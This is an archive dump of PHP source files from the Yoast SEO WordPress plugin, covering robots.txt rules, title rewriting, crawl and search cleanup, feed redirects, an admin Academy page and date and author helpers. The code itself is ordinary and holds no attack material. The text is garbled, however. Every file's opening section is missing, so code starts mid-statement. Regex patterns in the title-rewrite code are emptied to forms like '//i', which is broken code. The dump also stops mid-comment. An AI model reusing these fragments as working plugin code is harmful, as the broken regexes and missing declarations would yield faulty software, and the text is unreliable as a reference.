404 if it isn't archive or singular. if ( ! $wp_query->is_archive() && ! $wp_query->is_singular() ) { return false; } return true; } /** * Sets the 404 status code. * * @return void */ protected function set_404() { $wp_query = $this->query_wrapper->get_query(); $wp_query->is_feed = false; $wp_query->set_404(); $this->query_wrapper->set_query( $wp_query ); } /** * Sets the headers for http. * * @codeCoverageIgnore * * @return void */ protected function set_headers() { // Overwrite Content-Type header. if ( ! \headers_sent() ) { \header( 'Content-Type: ' . \get_option( 'html_type' ) . '; charset=' . \get_option( 'blog_charset' ) ); } \status_header( 404 ); \nocache_headers(); } } integrations/front-end/force-rewrite-title.php000064400000010703152076254750015571 0ustar00options = $options; $this->wp_query = $wp_query; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @codeCoverageIgnore * * @return void */ public function register_hooks() { // When the option is disabled. if ( ! $this->options->get( 'forcerewritetitle', false ) ) { return; } // For WordPress versions below 4.4. if ( \current_theme_supports( 'title-tag' ) ) { return; } \add_action( 'template_redirect', [ $this, 'force_rewrite_output_buffer' ], 99_999 ); \add_action( 'wp_footer', [ $this, 'flush_cache' ], -1 ); } /** * Used in the force rewrite functionality this retrieves the output, replaces the title with the proper SEO * title and then flushes the output. * * @return bool */ public function flush_cache() { if ( $this->ob_started !== true ) { return false; } $content = $this->get_buffered_output(); $old_wp_query = $this->wp_query->get_query(); \wp_reset_query(); // When the file has the debug mark. if ( \preg_match( '/(?\'before\'.*)(?\'after\'.*)/is', $content, $matches ) ) { $content = $this->replace_titles_from_content( $content, $matches ); unset( $matches ); } // phpcs:ignore WordPress.WP.GlobalVariablesOverride -- The query gets reset here with the original query. $GLOBALS['wp_query'] = $old_wp_query; // phpcs:ignore WordPress.Security.EscapeOutput -- The output should already have been escaped, we are only filtering it. echo $content; return true; } /** * Starts the output buffer so it can later be fixed by flush_cache(). * * @return void */ public function force_rewrite_output_buffer() { $this->ob_started = true; $this->start_output_buffering(); } /** * Replaces the titles from the parts that contains a title. * * @param string $content The content to remove the titles from. * @param array $parts_with_title The parts containing a title. * * @return string The modified content. */ protected function replace_titles_from_content( $content, $parts_with_title ) { if ( isset( $parts_with_title['before'] ) && \is_string( $parts_with_title['before'] ) ) { $content = $this->replace_title( $parts_with_title['before'], $content ); } if ( isset( $parts_with_title['after'] ) ) { $content = $this->replace_title( $parts_with_title['after'], $content ); } return $content; } /** * Removes the title from the part that contains the title and put this modified part back * into the content. * * @param string $part_with_title The part with the title that needs to be replaced. * @param string $content The entire content. * * @return string The altered content. */ protected function replace_title( $part_with_title, $content ) { $part_without_title = \preg_replace( '//i', '', $part_with_title ); return \str_replace( $part_with_title, $part_without_title, $content ); } /** * Starts the output buffering. * * @codeCoverageIgnore * * @return void */ protected function start_output_buffering() { \ob_start(); } /** * Retrieves the buffered output. * * @codeCoverageIgnore * * @return string|false The buffered output. */ protected function get_buffered_output() { return \ob_get_clean(); } } integrations/front-end/schema-accessibility-feature.php000064400000004462152076254750017420 0ustar00is_needed() ) { return $piece; } } return $this->add_accessibility_feature( $piece, $context ); } /** * Adds the accessibility feature to a schema graph piece. * * @param array $piece The schema piece. * @param Meta_Tags_Context $context The context. * * @return array The graph piece. */ public function add_accessibility_feature( $piece, $context ) { if ( empty( $context->blocks['yoast-seo/table-of-contents'] ) ) { return $piece; } if ( isset( $piece['accessibilityFeature'] ) ) { $piece['accessibilityFeature'][] = 'tableOfContents'; } else { $piece['accessibilityFeature'] = [ 'tableOfContents', ]; } return $piece; } } integrations/front-end/robots-txt-integration.php000064400000017600152076254760016347 0ustar00options_helper = $options_helper; $this->robots_txt_helper = $robots_txt_helper; $this->robots_txt_presenter = $robots_txt_presenter; } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Robots_Txt_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_filter( 'robots_txt', [ $this, 'filter_robots' ], 99_999 ); if ( $this->options_helper->get( 'deny_search_crawling' ) && ! \is_multisite() ) { \add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_search_to_robots' ], 10, 1 ); } if ( $this->options_helper->get( 'deny_wp_json_crawling' ) && ! \is_multisite() ) { \add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_wp_json_to_robots' ], 10, 1 ); } if ( $this->options_helper->get( 'deny_adsbot_crawling' ) && ! \is_multisite() ) { \add_action( 'Yoast\WP\SEO\register_robots_rules', [ $this, 'add_disallow_adsbot' ], 10, 1 ); } } /** * Filters the robots.txt output. * * @param string $robots_txt The robots.txt output from WordPress. * * @return string Filtered robots.txt output. */ public function filter_robots( $robots_txt ) { $robots_txt = $this->remove_default_robots( $robots_txt ); $this->maybe_add_xml_sitemap(); /** * Filter: 'wpseo_should_add_subdirectory_multisite_xml_sitemaps' - Disabling this filter removes subdirectory sites from xml sitemaps. * * @since 19.8 * * @param bool $show Whether to display multisites in the xml sitemaps. */ if ( \apply_filters( 'wpseo_should_add_subdirectory_multisite_xml_sitemaps', true ) ) { $this->add_subdirectory_multisite_xml_sitemaps(); } /** * Allow registering custom robots rules to be outputted within the Yoast content block in robots.txt. * * @param Robots_Txt_Helper $robots_txt_helper The Robots_Txt_Helper object. */ \do_action( 'Yoast\WP\SEO\register_robots_rules', $this->robots_txt_helper ); return \trim( $robots_txt . \PHP_EOL . $this->robots_txt_presenter->present() . \PHP_EOL ); } /** * Add a disallow rule for search to robots.txt. * * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper. * * @return void */ public function add_disallow_search_to_robots( Robots_Txt_Helper $robots_txt_helper ) { $robots_txt_helper->add_disallow( '*', '/?s=' ); $robots_txt_helper->add_disallow( '*', '/page/*/?s=' ); $robots_txt_helper->add_disallow( '*', '/search/' ); } /** * Add a disallow rule for /wp-json/ to robots.txt. * * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper. * * @return void */ public function add_disallow_wp_json_to_robots( Robots_Txt_Helper $robots_txt_helper ) { $robots_txt_helper->add_disallow( '*', '/wp-json/' ); $robots_txt_helper->add_disallow( '*', '/?rest_route=' ); } /** * Add a disallow rule for AdsBot agents to robots.txt. * * @param Robots_Txt_Helper $robots_txt_helper The robots txt helper. * * @return void */ public function add_disallow_adsbot( Robots_Txt_Helper $robots_txt_helper ) { $robots_txt_helper->add_disallow( 'AdsBot', '/' ); } /** * Replaces the default WordPress robots.txt output. * * @param string $robots_txt Input robots.txt. * * @return string */ protected function remove_default_robots( $robots_txt ) { return \preg_replace( '`User-agent: \*[\r\n]+Disallow: /wp-admin/[\r\n]+Allow: /wp-admin/admin-ajax\.php[\r\n]+`', '', $robots_txt, ); } /** * Adds XML sitemap reference to robots.txt. * * @return void */ protected function maybe_add_xml_sitemap() { // If the XML sitemap is disabled, bail. if ( ! $this->options_helper->get( 'enable_xml_sitemap', false ) ) { return; } $this->robots_txt_helper->add_sitemap( \esc_url( WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ) ) ); } /** * Adds subdomain multisite' XML sitemap references to robots.txt. * * @return void */ protected function add_subdirectory_multisite_xml_sitemaps() { // If not on a multisite subdirectory, bail. if ( ! \is_multisite() || \is_subdomain_install() ) { return; } $sitemaps_enabled = $this->get_xml_sitemaps_enabled(); foreach ( $sitemaps_enabled as $blog_id => $is_sitemap_enabled ) { if ( ! $is_sitemap_enabled ) { continue; } $this->robots_txt_helper->add_sitemap( \esc_url( \get_home_url( $blog_id, 'sitemap_index.xml' ) ) ); } } /** * Retrieves whether the XML sitemaps are enabled, keyed by blog ID. * * @return array */ protected function get_xml_sitemaps_enabled() { $is_allowed = $this->is_sitemap_allowed(); $blog_ids = $this->get_blog_ids(); $is_enabled = []; foreach ( $blog_ids as $blog_id ) { $is_enabled[ $blog_id ] = $is_allowed && $this->is_sitemap_enabled_for( $blog_id ); } return $is_enabled; } /** * Retrieves whether the sitemap is allowed on a sub site. * * @return bool */ protected function is_sitemap_allowed() { $options = \get_network_option( null, 'wpseo_ms' ); if ( ! $options || ! isset( $options['allow_enable_xml_sitemap'] ) ) { // Default is enabled. return true; } return (bool) $options['allow_enable_xml_sitemap']; } /** * Retrieves whether the sitemap is enabled on a site. * * @param int $blog_id The blog ID. * * @return bool */ protected function is_sitemap_enabled_for( $blog_id ) { if ( ! $this->is_yoast_active_on( $blog_id ) ) { return false; } $options = \get_blog_option( $blog_id, 'wpseo' ); if ( ! $options || ! isset( $options['enable_xml_sitemap'] ) ) { // Default is enabled. return true; } return (bool) $options['enable_xml_sitemap']; } /** * Determines whether Yoast SEO is active. * * @param int $blog_id The blog ID. * * @return bool */ protected function is_yoast_active_on( $blog_id ) { return \in_array( 'wordpress-seo/wp-seo.php', (array) \get_blog_option( $blog_id, 'active_plugins', [] ), true ) || $this->is_yoast_active_for_network(); } /** * Determines whether Yoast SEO is active for the entire network. * * @return bool */ protected function is_yoast_active_for_network() { $plugins = \get_network_option( null, 'active_sitewide_plugins' ); if ( isset( $plugins['wordpress-seo/wp-seo.php'] ) ) { return true; } return false; } /** * Retrieves the blog IDs of public, "active" sites on the network. * * @return array */ protected function get_blog_ids() { $criteria = [ 'archived' => 0, 'deleted' => 0, 'public' => 1, 'spam' => 0, 'fields' => 'ids', 'network_id' => \get_current_network_id(), ]; return \get_sites( $criteria ); } } integrations/front-end/crawl-cleanup-basic.php000064400000007136152076254760015520 0ustar00options_helper = $options_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Remove HTTP headers we don't want. \add_action( 'wp', [ $this, 'clean_headers' ], 0 ); if ( $this->is_true( 'remove_shortlinks' ) ) { // Remove shortlinks. \remove_action( 'wp_head', 'wp_shortlink_wp_head' ); \remove_action( 'template_redirect', 'wp_shortlink_header', 11 ); } if ( $this->is_true( 'remove_rest_api_links' ) ) { // Remove REST API links. \remove_action( 'wp_head', 'rest_output_link_wp_head' ); \remove_action( 'template_redirect', 'rest_output_link_header', 11 ); } if ( $this->is_true( 'remove_rsd_wlw_links' ) ) { // Remove RSD and WLW Manifest links. \remove_action( 'wp_head', 'rsd_link' ); \remove_action( 'xmlrpc_rsd_apis', 'rest_output_rsd' ); \remove_action( 'wp_head', 'wlwmanifest_link' ); } if ( $this->is_true( 'remove_oembed_links' ) ) { // Remove JSON+XML oEmbed links. \remove_action( 'wp_head', 'wp_oembed_add_discovery_links' ); } if ( $this->is_true( 'remove_generator' ) ) { \remove_action( 'wp_head', 'wp_generator' ); } if ( $this->is_true( 'remove_emoji_scripts' ) ) { // Remove emoji scripts and additional stuff they cause. \remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); \remove_action( 'wp_print_styles', 'print_emoji_styles' ); \remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); \remove_action( 'admin_print_styles', 'print_emoji_styles' ); \add_filter( 'wp_resource_hints', [ $this, 'resource_hints_plain_cleanup' ], 1 ); } } /** * Returns the conditionals based in which this loadable should be active. * * @return array The array of conditionals. */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Removes X-Pingback and X-Powered-By headers as they're unneeded. * * @return void */ public function clean_headers() { if ( \headers_sent() ) { return; } if ( $this->is_true( 'remove_powered_by_header' ) ) { \header_remove( 'X-Powered-By' ); } if ( $this->is_true( 'remove_pingback_header' ) ) { \header_remove( 'X-Pingback' ); } } /** * Remove the core s.w.org hint as it's only used for emoji stuff we don't use. * * @param array $hints The hints we're adding to. * * @return array */ public function resource_hints_plain_cleanup( $hints ) { foreach ( $hints as $key => $hint ) { if ( \is_array( $hint ) && isset( $hint['href'] ) ) { if ( \strpos( $hint['href'], '//s.w.org' ) !== false ) { unset( $hints[ $key ] ); } } elseif ( \strpos( $hint, '//s.w.org' ) !== false ) { unset( $hints[ $key ] ); } } return $hints; } /** * Checks if the value of an option is set to true. * * @param string $option_name The option name. * * @return bool */ private function is_true( $option_name ) { return $this->options_helper->get( $option_name ) === true; } } integrations/front-end/crawl-cleanup-searches.php000064400000013000152076254760016217 0ustar00options_helper = $options_helper; $this->redirect_helper = $redirect_helper; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { if ( $this->options_helper->get( 'search_cleanup' ) ) { \add_filter( 'pre_get_posts', [ $this, 'validate_search' ] ); } if ( $this->options_helper->get( 'redirect_search_pretty_urls' ) && ! empty( \get_option( 'permalink_structure' ) ) ) { \add_action( 'template_redirect', [ $this, 'maybe_redirect_searches' ], 2 ); } } /** * Returns the conditionals based in which this loadable should be active. * * @return array The array of conditionals. */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Check if we want to allow this search to happen. * * @param WP_Query $query The main query. * * @return WP_Query */ public function validate_search( WP_Query $query ) { if ( ! $query->is_search() ) { return $query; } // First check against emoji and patterns we might not want. $this->check_unwanted_patterns( $query ); // Then limit characters if still needed. $this->limit_characters(); return $query; } /** * Redirect pretty search URLs to the "raw" equivalent * * @return void */ public function maybe_redirect_searches() { if ( ! \is_search() ) { return; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput if ( isset( $_SERVER['REQUEST_URI'] ) && \stripos( $_SERVER['REQUEST_URI'], '/search/' ) === 0 ) { $args = []; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput $parsed = \wp_parse_url( $_SERVER['REQUEST_URI'] ); if ( ! empty( $parsed['query'] ) ) { \wp_parse_str( $parsed['query'], $args ); } $args['s'] = \get_search_query(); $proper_url = \home_url( '/' ); if ( (int) \get_query_var( 'paged' ) > 1 ) { $proper_url .= \sprintf( 'page/%s/', \get_query_var( 'paged' ) ); unset( $args['paged'] ); } $proper_url = \add_query_arg( \array_map( 'rawurlencode_deep', $args ), $proper_url ); if ( ! empty( $parsed['fragment'] ) ) { $proper_url .= '#' . \rawurlencode( $parsed['fragment'] ); } $this->redirect_away( 'We redirect pretty URLs to the raw format.', $proper_url ); } } /** * Check query against unwanted search patterns. * * @param WP_Query $query The main WordPress query. * * @return void */ private function check_unwanted_patterns( WP_Query $query ) { $s = \rawurldecode( $query->query_vars['s'] ); if ( $this->options_helper->get( 'search_cleanup_emoji' ) && $this->has_emoji( $s ) ) { $this->redirect_away( 'We don\'t allow searches with emojis and other special characters.' ); } if ( ! $this->options_helper->get( 'search_cleanup_patterns' ) ) { return; } foreach ( $this->patterns as $pattern ) { $outcome = \preg_match( $pattern, $s, $matches ); if ( $outcome && $matches !== [] ) { $this->redirect_away( 'Your search matched a common spam pattern.' ); } } } /** * Redirect to the homepage for invalid searches. * * @param string $reason The reason for redirecting away. * @param string $to_url The URL to redirect to. * * @return void */ private function redirect_away( $reason, $to_url = '' ) { if ( empty( $to_url ) ) { $to_url = \get_home_url(); } $this->redirect_helper->do_safe_redirect( $to_url, 301, 'Yoast Search Filtering: ' . $reason ); } /** * Limits the number of characters in the search query. * * @return void */ private function limit_characters() { // We retrieve the search term unescaped because we want to count the characters properly. We make sure to escape it afterwards, if we do something with it. $unescaped_s = \get_search_query( false ); // We then unslash the search term, again because we want to count the characters properly. We make sure to slash it afterwards, if we do something with it. $raw_s = \wp_unslash( $unescaped_s ); if ( \mb_strlen( $raw_s, 'UTF-8' ) > $this->options_helper->get( 'search_character_limit' ) ) { $new_s = \mb_substr( $raw_s, 0, $this->options_helper->get( 'search_character_limit' ), 'UTF-8' ); \set_query_var( 's', \wp_slash( \esc_attr( $new_s ) ) ); } } /** * Determines if a text string contains an emoji or not. * * @param string $text The text string to detect emoji in. * * @return bool */ private function has_emoji( $text ) { $emojis_regex = '/([^-\p{L}\x00-\x7F]+)/u'; \preg_match( $emojis_regex, $text, $matches ); return ! empty( $matches ); } } integrations/front-end/category-term-description.php000064400000002434152076254760017003 0ustar00options_helper = $options_helper; } /** * Returns the conditionals based on which this loadable should be active. * * @return array The conditionals. */ public static function get_conditionals() { return [ Front_End_Conditional::class ]; } /** * Register our RSS related hooks. * * @return void */ public function register_hooks() { if ( $this->is_true( 'remove_feed_global' ) ) { \add_filter( 'feed_links_show_posts_feed', '__return_false' ); } if ( $this->is_true( 'remove_feed_global_comments' ) ) { \add_filter( 'feed_links_show_comments_feed', '__return_false' ); } \add_action( 'wp', [ $this, 'maybe_disable_feeds' ] ); \add_action( 'wp', [ $this, 'maybe_redirect_feeds' ], -10_000 ); } /** * Disable feeds on selected cases. * * @return void */ public function maybe_disable_feeds() { if ( $this->is_true( 'remove_feed_post_comments' ) ) { \add_filter( 'feed_links_extra_show_post_comments_feed', '__return_false' ); } if ( $this->is_true( 'remove_feed_authors' ) ) { \add_filter( 'feed_links_extra_show_author_feed', '__return_false' ); } if ( $this->is_true( 'remove_feed_categories' ) ) { \add_filter( 'feed_links_extra_show_category_feed', '__return_false' ); } if ( $this->is_true( 'remove_feed_tags' ) ) { \add_filter( 'feed_links_extra_show_tag_feed', '__return_false' ); } if ( $this->is_true( 'remove_feed_custom_taxonomies' ) ) { \add_filter( 'feed_links_extra_show_tax_feed', '__return_false' ); } if ( $this->is_true( 'remove_feed_post_types' ) ) { \add_filter( 'feed_links_extra_show_post_type_archive_feed', '__return_false' ); } if ( $this->is_true( 'remove_feed_search' ) ) { \add_filter( 'feed_links_extra_show_search_feed', '__return_false' ); } } /** * Redirect feeds we don't want away. * * @return void */ public function maybe_redirect_feeds() { global $wp_query; if ( ! \is_feed() ) { return; } if ( \in_array( \get_query_var( 'feed' ), [ 'atom', 'rdf' ], true ) && $this->is_true( 'remove_atom_rdf_feeds' ) ) { $this->redirect_feed( \home_url(), 'We disable Atom/RDF feeds for performance reasons.' ); } // Only if we're on the global feed, the query is _just_ `'feed' => 'feed'`, hence this check. if ( ( $wp_query->query === [ 'feed' => 'feed' ] || $wp_query->query === [ 'feed' => 'atom' ] || $wp_query->query === [ 'feed' => 'rdf' ] ) && $this->is_true( 'remove_feed_global' ) ) { $this->redirect_feed( \home_url(), 'We disable the RSS feed for performance reasons.' ); } if ( \is_comment_feed() && ! ( \is_singular() || \is_attachment() ) && $this->is_true( 'remove_feed_global_comments' ) ) { $this->redirect_feed( \home_url(), 'We disable comment feeds for performance reasons.' ); } elseif ( \is_comment_feed() && \is_singular() && ( $this->is_true( 'remove_feed_post_comments' ) || $this->is_true( 'remove_feed_global_comments' ) ) ) { $url = \get_permalink( \get_queried_object() ); $this->redirect_feed( $url, 'We disable post comment feeds for performance reasons.' ); } if ( \is_author() && $this->is_true( 'remove_feed_authors' ) ) { $author_id = (int) \get_query_var( 'author' ); $url = \get_author_posts_url( $author_id ); $this->redirect_feed( $url, 'We disable author feeds for performance reasons.' ); } if ( ( \is_category() && $this->is_true( 'remove_feed_categories' ) ) || ( \is_tag() && $this->is_true( 'remove_feed_tags' ) ) || ( \is_tax() && $this->is_true( 'remove_feed_custom_taxonomies' ) ) ) { $term = \get_queried_object(); $url = \get_term_link( $term, $term->taxonomy ); if ( \is_wp_error( $url ) ) { $url = \home_url(); } $this->redirect_feed( $url, 'We disable taxonomy feeds for performance reasons.' ); } if ( ( \is_post_type_archive() ) && $this->is_true( 'remove_feed_post_types' ) ) { $url = \get_post_type_archive_link( $this->get_queried_post_type() ); $this->redirect_feed( $url, 'We disable post type feeds for performance reasons.' ); } if ( \is_search() && $this->is_true( 'remove_feed_search' ) ) { $url = \trailingslashit( \home_url() ) . '?s=' . \get_search_query(); $this->redirect_feed( $url, 'We disable search RSS feeds for performance reasons.' ); } } /** * Sends a cache control header. * * @param int $expiration The expiration time. * * @return void */ public function cache_control_header( $expiration ) { \header_remove( 'Expires' ); // The cacheability of the current request. 'public' allows caching, 'private' would not allow caching by proxies like CloudFlare. $cacheability = 'public'; $format = '%1$s, max-age=%2$d, s-maxage=%2$d, stale-while-revalidate=120, stale-if-error=14400'; if ( \is_user_logged_in() ) { $expiration = 0; $cacheability = 'private'; $format = '%1$s, max-age=%2$d'; } \header( \sprintf( 'Cache-Control: ' . $format, $cacheability, $expiration ), true ); } /** * Redirect a feed result to somewhere else. * * @param string $url The location we're redirecting to. * @param string $reason The reason we're redirecting. * * @return void */ private function redirect_feed( $url, $reason ) { \header_remove( 'Content-Type' ); \header_remove( 'Last-Modified' ); $this->cache_control_header( 7 * \DAY_IN_SECONDS ); \wp_safe_redirect( $url, 301, 'Yoast SEO: ' . $reason ); exit(); } /** * Retrieves the queried post type. * * @return string The queried post type. */ private function get_queried_post_type() { $post_type = \get_query_var( 'post_type' ); if ( \is_array( $post_type ) ) { $post_type = \reset( $post_type ); } return $post_type; } /** * Checks if the value of an option is set to true. * * @param string $option_name The option name. * * @return bool */ private function is_true( $option_name ) { return $this->options_helper->get( $option_name ) === true; } } integrations/exclude-oembed-cache-post-type.php000064400000001460152076254760015667 0ustar00asset_manager = $asset_manager; $this->current_page_helper = $current_page_helper; $this->product_helper = $product_helper; $this->shortlink_helper = $shortlink_helper; } /** * Returns the conditionals based on which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Admin_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class ]; } /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { // Add page. \add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] ); // Are we on the settings page? if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) { \add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] ); \add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX ); } } /** * Adds the page. * * @param array $pages The pages. * * @return array The pages. */ public function add_page( $pages ) { \array_splice( $pages, 3, 0, [ [ 'wpseo_dashboard', '', \__( 'Academy', 'wordpress-seo' ), 'wpseo_manage_options', self::PAGE, [ $this, 'display_page' ], ], ], ); return $pages; } /** * Displays the page. * * @return void */ public function display_page() { echo '
'; } /** * Enqueues the assets. * * @return void */ public function enqueue_assets() { // Remove the emoji script as it is incompatible with both React and any contenteditable fields. \remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); \wp_enqueue_media(); $this->asset_manager->enqueue_script( 'academy' ); $this->asset_manager->enqueue_style( 'academy' ); $this->asset_manager->localize_script( 'academy', 'wpseoScriptData', $this->get_script_data() ); } /** * Removes all current WP notices. * * @return void */ public function remove_notices() { \remove_all_actions( 'admin_notices' ); \remove_all_actions( 'user_admin_notices' ); \remove_all_actions( 'network_admin_notices' ); \remove_all_actions( 'all_admin_notices' ); } /** * Creates the script data. * * @return array The script data. */ public function get_script_data() { $addon_manager = new WPSEO_Addon_Manager(); $woocommerce_seo_active = $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ); $local_seo_active = $addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG ); return [ 'preferences' => [ 'isPremium' => $this->product_helper->is_premium(), 'isWooActive' => $woocommerce_seo_active, 'isLocalActive' => $local_seo_active, 'isRtl' => \is_rtl(), 'pluginUrl' => \plugins_url( '', \WPSEO_FILE ), 'upsellSettings' => [ 'actionId' => 'load-nfd-ctb', 'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2', ], ], 'linkParams' => $this->shortlink_helper->get_query_params(), ]; } } integrations/primary-category.php000064400000003716152076254760013306 0ustar00get_primary_category( $post ); if ( $primary_category !== false && $primary_category !== $category->cat_ID ) { $category = \get_category( $primary_category ); } return $category; } /** * Get the id of the primary category. * * @codeCoverageIgnore It justs wraps a dependency. * * @param WP_Post $post The post in question. * * @return int Primary category id. */ protected function get_primary_category( $post ) { $primary_term = new WPSEO_Primary_Term( 'category', $post->ID ); return $primary_term->get_primary_term(); } } integrations/woocommerce-product-category-permalink-integration.php000064400000004123152076254760022112 0ustar00 The array of conditionals. */ public static function get_conditionals() { return [ WooCommerce_Version_Conditional::class, Woo_SEO_Inactive_Conditional::class, ]; } /** * Constructs Support_Integration. * * @param Dynamic_Product_Permalinks_Conditional $dynamic_product_permalinks_conditional The Dynamic_Product_Permalinks_Conditional. */ public function __construct( Dynamic_Product_Permalinks_Conditional $dynamic_product_permalinks_conditional ) { $this->dynamic_product_permalinks_conditional = $dynamic_product_permalinks_conditional; } /** * Registers the hooks for this integration. * * @return void */ public function register_hooks() { \add_filter( 'wc_product_post_type_link_product_cat', [ $this, 'restore_legacy_permalink_category' ], 10, 2 ); } /** * Handles the product category link filter. Basically restores the pre-10.5 behavior for now. * * @param WP_Term $category The deepest category (new default behavior). * @param WP_Term[] $terms All categories assigned to the product. * * @return WP_Term The category to use in the permalink. */ public function restore_legacy_permalink_category( $category, $terms ) { if ( $this->dynamic_product_permalinks_conditional->is_met() ) { return $category; } $sorted_terms = \wp_list_sort( $terms, [ 'parent' => 'DESC', 'term_id' => 'ASC', ], ); return $sorted_terms[0]; } } functions.php000064400000001271152076254760007304 0ustar00load(); } return $main; } helpers/date-helper.php000064400000006210152076254760011126 0ustar00format( $format ); } /** * Formats the given timestamp to the needed format. * * @param int $timestamp The timestamp to use for the formatting. * @param string $format The format that the passed date should be in. * * @return string The formatted date. */ public function format_timestamp( $timestamp, $format = \DATE_W3C ) { if ( ! \is_string( $timestamp ) && ! \is_int( $timestamp ) ) { return $timestamp; } $immutable_date = \date_create_immutable_from_format( 'U', $timestamp, new DateTimeZone( 'UTC' ) ); if ( ! $immutable_date ) { return $timestamp; } return $immutable_date->format( $format ); } /** * Formats a given date in UTC TimeZone format and translate it to the set language. * * @param string $date String representing the date / time. * @param string $format The format that the passed date should be in. * * @return string The formatted and translated date. */ public function format_translated( $date, $format = \DATE_W3C ) { return \date_i18n( $format, $this->format( $date, 'U' ) ); } /** * Returns the current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT). * * @return int The current time measured in the number of seconds since the Unix Epoch (January 1 1970 00:00:00 GMT). */ public function current_time() { return \time(); } /** * Check if a string is a valid datetime. * * @param string $datetime String input to check as valid input for DateTime class. * * @return bool True when datetime is valid. */ public function is_valid_datetime( $datetime ) { if ( $datetime === null ) { /* * While not "officially" supported, `null` will be handled as `"now"` until PHP 9.0. * @link https://3v4l.org/tYp2k */ return true; } if ( \is_string( $datetime ) && \substr( $datetime, 0, 1 ) === '-' ) { return false; } try { return new DateTime( $datetime ) !== false; } catch ( Exception $exception ) { return false; } } } helpers/sanitization-helper.php000064400000002040152076254770012723 0ustar00post_type_helper = $post_type_helper; $this->taxonomy_helper = $taxonomy_helper; } /** * Retrieves whether the Indexable is indexable. * * @param Indexable $indexable The Indexable. * * @return bool Whether the Indexable is indexable. */ public function is_indexable( Indexable $indexable ) { if ( $indexable->is_robots_noindex === null ) { // No individual value set, check the global setting. switch ( $indexable->object_type ) { case 'post': return $this->post_type_helper->is_indexable( $indexable->object_sub_type ); case 'term': return $this->taxonomy_helper->is_indexable( $indexable->object_sub_type ); } } return $indexable->is_robots_noindex === false; } /** * Sets the robots index to noindex. * * @param array $robots The current robots value. * * @return array The altered robots string. */ public function set_robots_no_index( $robots ) { if ( ! \is_array( $robots ) ) { \_deprecated_argument( __METHOD__, '14.1', '$robots has to be a key-value paired array.' ); return $robots; } $robots['index'] = 'noindex'; return $robots; } } helpers/author-archive-helper.php000064400000012377152076255030013134 0ustar00options_helper = $options_helper; $this->post_type_helper = $post_type_helper; } /** * Gets the array of post types that are shown on an author's archive. * * @return array The post types that are shown on an author's archive. */ public function get_author_archive_post_types() { /** * Filters the array of post types that are shown on an author's archive. * * @param array $args The post types that are shown on an author archive. */ return \apply_filters( 'wpseo_author_archive_post_types', [ 'post' ] ); } /** * Returns whether the author has at least one public post. * * @param int $author_id The author ID. * * @return bool|null Whether the author has at least one public post. */ public function author_has_public_posts( $author_id ) { // First check if the author has at least one public post. $has_public_post = $this->author_has_a_public_post( $author_id ); if ( $has_public_post ) { return true; } // Then check if the author has at least one post where the status is the same as the global setting. $has_public_post_depending_on_the_global_setting = $this->author_has_a_post_with_is_public_null( $author_id ); if ( $has_public_post_depending_on_the_global_setting ) { return null; } return false; } /** * Returns whether the author has at least one public post. * * **Note**: It uses WP_Query to determine the number of posts, * not the indexables table. * * @param string $user_id The user ID. * * @return bool Whether the author has at least one public post. */ public function author_has_public_posts_wp( $user_id ) { $post_types = \array_intersect( $this->get_author_archive_post_types(), $this->post_type_helper->get_indexable_post_types() ); $public_post_stati = \array_values( \array_filter( \get_post_stati(), 'is_post_status_viewable' ) ); $args = [ 'post_type' => $post_types, 'post_status' => $public_post_stati, 'author' => $user_id, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'no_found_rows' => true, 'fields' => 'ids', 'posts_per_page' => 1, ]; $query = new WP_Query( $args ); if ( $query->have_posts() ) { return true; } return false; } /** * Checks whether author archives are disabled. * * @return bool `true` if author archives are disabled, `false` if not. */ public function are_disabled() { return $this->options_helper->get( 'disable-author' ); } /** * Returns whether the author has at least one public post. * * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean. * * @param int $author_id The author ID. * * @return bool Whether the author has at least one public post. */ protected function author_has_a_public_post( $author_id ) { $cache_key = 'author_has_a_public_post_' . $author_id; $indexable_exists = \wp_cache_get( $cache_key ); if ( $indexable_exists === false ) { $indexable_exists = Model::of_type( 'Indexable' ) ->select( 'id' ) ->where( 'object_type', 'post' ) ->where_in( 'object_sub_type', $this->get_author_archive_post_types() ) ->where( 'author_id', $author_id ) ->where( 'is_public', 1 ) ->find_one(); if ( $indexable_exists === false ) { // Cache no results to prevent full table scanning on authors with no public posts. \wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) ); } } return (bool) $indexable_exists; } /** * Returns whether the author has at least one post with the is public null. * * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean. * * @param int $author_id The author ID. * * @return bool Whether the author has at least one post with the is 